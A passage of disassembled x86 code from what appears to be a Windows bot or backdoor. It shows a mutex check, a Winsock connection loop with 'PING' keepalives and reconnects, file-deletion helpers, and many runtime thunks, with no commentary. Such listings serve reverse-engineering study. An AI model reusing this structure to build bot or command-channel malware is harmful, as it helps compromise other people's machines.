		mov	eax, [ebp-4]
		add	eax, [ebp-17B0h]
		push	eax
		lea	eax, [ebp-17A8h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp-17A8h]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp-140Ch]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp-1614h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: cAddress:0041661Bj
		mov	eax, [ebp-17B0h]
		add	eax, 17Fh
		mov	[ebp-17B0h], eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: cAddress:004162C4j
					; cAddress:00416393j ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: cAddress:00416212j
					; cAddress:loc_416229j	...
		push	dword ptr [ebp-104Ch]
		call	dword_417230	; closesocket
		push	dword ptr [ebp-1614h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: cAddress:0041661Dj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: cAddress:004165A8j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: cAddress:00415FD9j
					; cAddress:00416026j ...
		pop	edi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DE00


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41D9E8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset loc_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset word_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	dword_4170F4	; SetErrorMode
		and	dword ptr [ebp-4], 0
		push	dword_41DA2C
		push	dword_41DA28
		push	3B7h
		push	dword_41DA24
		push	0
		push	dword_41DA20
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	dword ptr [ebp-1128h], 0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: cAddress:loc_4168BAj
		mov	eax, [ebp-1128h]
		inc	eax
		mov	[ebp-1128h], eax


loc_416875:				; CODE XREF: cAddress:00416866j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: cAddress:0041687Cj
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	0
		push	0
		call	dword_4170F8	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	dword ptr [ebp-12F0h], 0
		jz	short loc_4168BA
		call	dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: cAddress:004168ACj
					; cAddress:004168B6j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: cAddress:004168B8j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DA20
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA20
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA20
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41EC00, eax
		call	sub_410422
		mov	dword_41EC04, eax
		call	sub_410422
		mov	dword_41EC08, eax
		call	sub_410422
		mov	dword_41EC0C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DE00
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: cAddress:00416949j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-12F4h], eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: cAddress:loc_4169DFj
		mov	eax, [ebp-12F4h]
		dec	eax
		mov	[ebp-12F4h], eax


loc_416983:				; CODE XREF: cAddress:00416974j
		cmp	dword ptr [ebp-12F4h], 0
		jnz	short loc_41699F
		push	offset byte_41DE00
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: cAddress:0041698Aj
		mov	eax, [ebp-12F4h]
		movsx	eax, byte ptr [ebp+eax-1121h]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp-12F4h]
		lea	eax, [ebp+eax-1120h]
		push	eax
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aPacked_exe ; "packed.exe"
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: cAddress:004169B0j
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: cAddress:0041695Cj
					; cAddress:0041699Dj ...
		call	sub_406E8E
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	dword_417264	; WSAStartup


loc_4169F8:				; CODE XREF: cAddress:00416A43j
					; cAddress:00416AA7j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	dword ptr [ebp-101Ch], 0
		mov	dword ptr [ebp-4], 1


loc_416A20:				; CODE XREF: cAddress:loc_416A6Fj
					; cAddress:00416AC0j
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	dword ptr [ebp-101Ch], 19h
		jnz	short loc_416A45
		and	dword ptr [ebp-4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: cAddress:00416A3Dj
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: cAddress:00416A4Cj
		mov	eax, [ebp-101Ch]
		inc	eax
		mov	[ebp-101Ch], eax


loc_416A6F:				; CODE XREF: cAddress:00416A60j
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: cAddress:00416A34j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: cAddress:00416A98j
		and	dword ptr [ebp-4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: cAddress:00416AA1j
		and	dword ptr [ebp-101Ch], 0
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
; ---------------------------------------------------------------------------
aHhA		db 'hhÝA',0             ; DATA XREF: cAddress:004172A8o
		dw 1868h
dword_416ACC	dd 0FF0041C3h, 54E8EC75h, 83FFFEC8h, 8BC30CC4h,	6583E865h
					; DATA XREF: cAddress:004172ACo
		dd 32E900FCh, 68FFFFFFh, 41DD60h, 41C31868h, 0EC75FF00h
		dd 0FEC832E8h, 0CC483FFh, 0E8658BC3h, 0FFFC4D83h, 0DE083D83h
		dd 74000041h, 0DD206811h, 80680041h, 0E80041DAh, 0FFFF698Fh
		dd 15FF5959h, 417254h, 0D1E8006Ah, 8B000000h, 8964F04Dh
		dd 0Dh,	5B5E5F00h
		db 0C9h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; cAddress:00402124p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: cAddress:004012C9p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: cAddress:00401269p
					; cAddress:00401722p ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: cAddress:0040125Ep
					; cAddress:00401999p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; cAddress:00405816p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: cAddress:00401AC6p
					; cAddress:00401AD9p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: cAddress:00401FE3p
					; cAddress:00402268p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: cAddress:00401FB1p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: cAddress:00401ED5p
					; cAddress:0040209Ap ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: cAddress:00401E7Ap
					; cAddress:0040221Bp ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: cAddress:00402383p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: cAddress:0040225Ap
					; cAddress:0040227Ep ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; cAddress:0040878Cp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: cAddress:00403DFBp
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp

; ---------------------------------------------------------------------------
word_416DBA	dw 25FFh		; DATA XREF: cAddress:004093C0o
					; cAddress:004094F0o ...
		dd offset dword_41715C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; cAddress:00409F0Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------
		dd 712425FFh, 0CCCC0041h, 6450FF6Ah, 0A1h, 448B5000h, 89640C24h
		dd 25h,	246C8900h, 246C8D0Ch, 0CCC3500Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
aJ		db 'ÌÌÌÌÌÌÌÌÌÌj',0
		dw 74FFh
aSd		db '$',8,'èd',0
		db 2 dup(0), 0C2h
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Ch]
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+0Ch]
		push	edx
		push	offset dword_41DDA0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
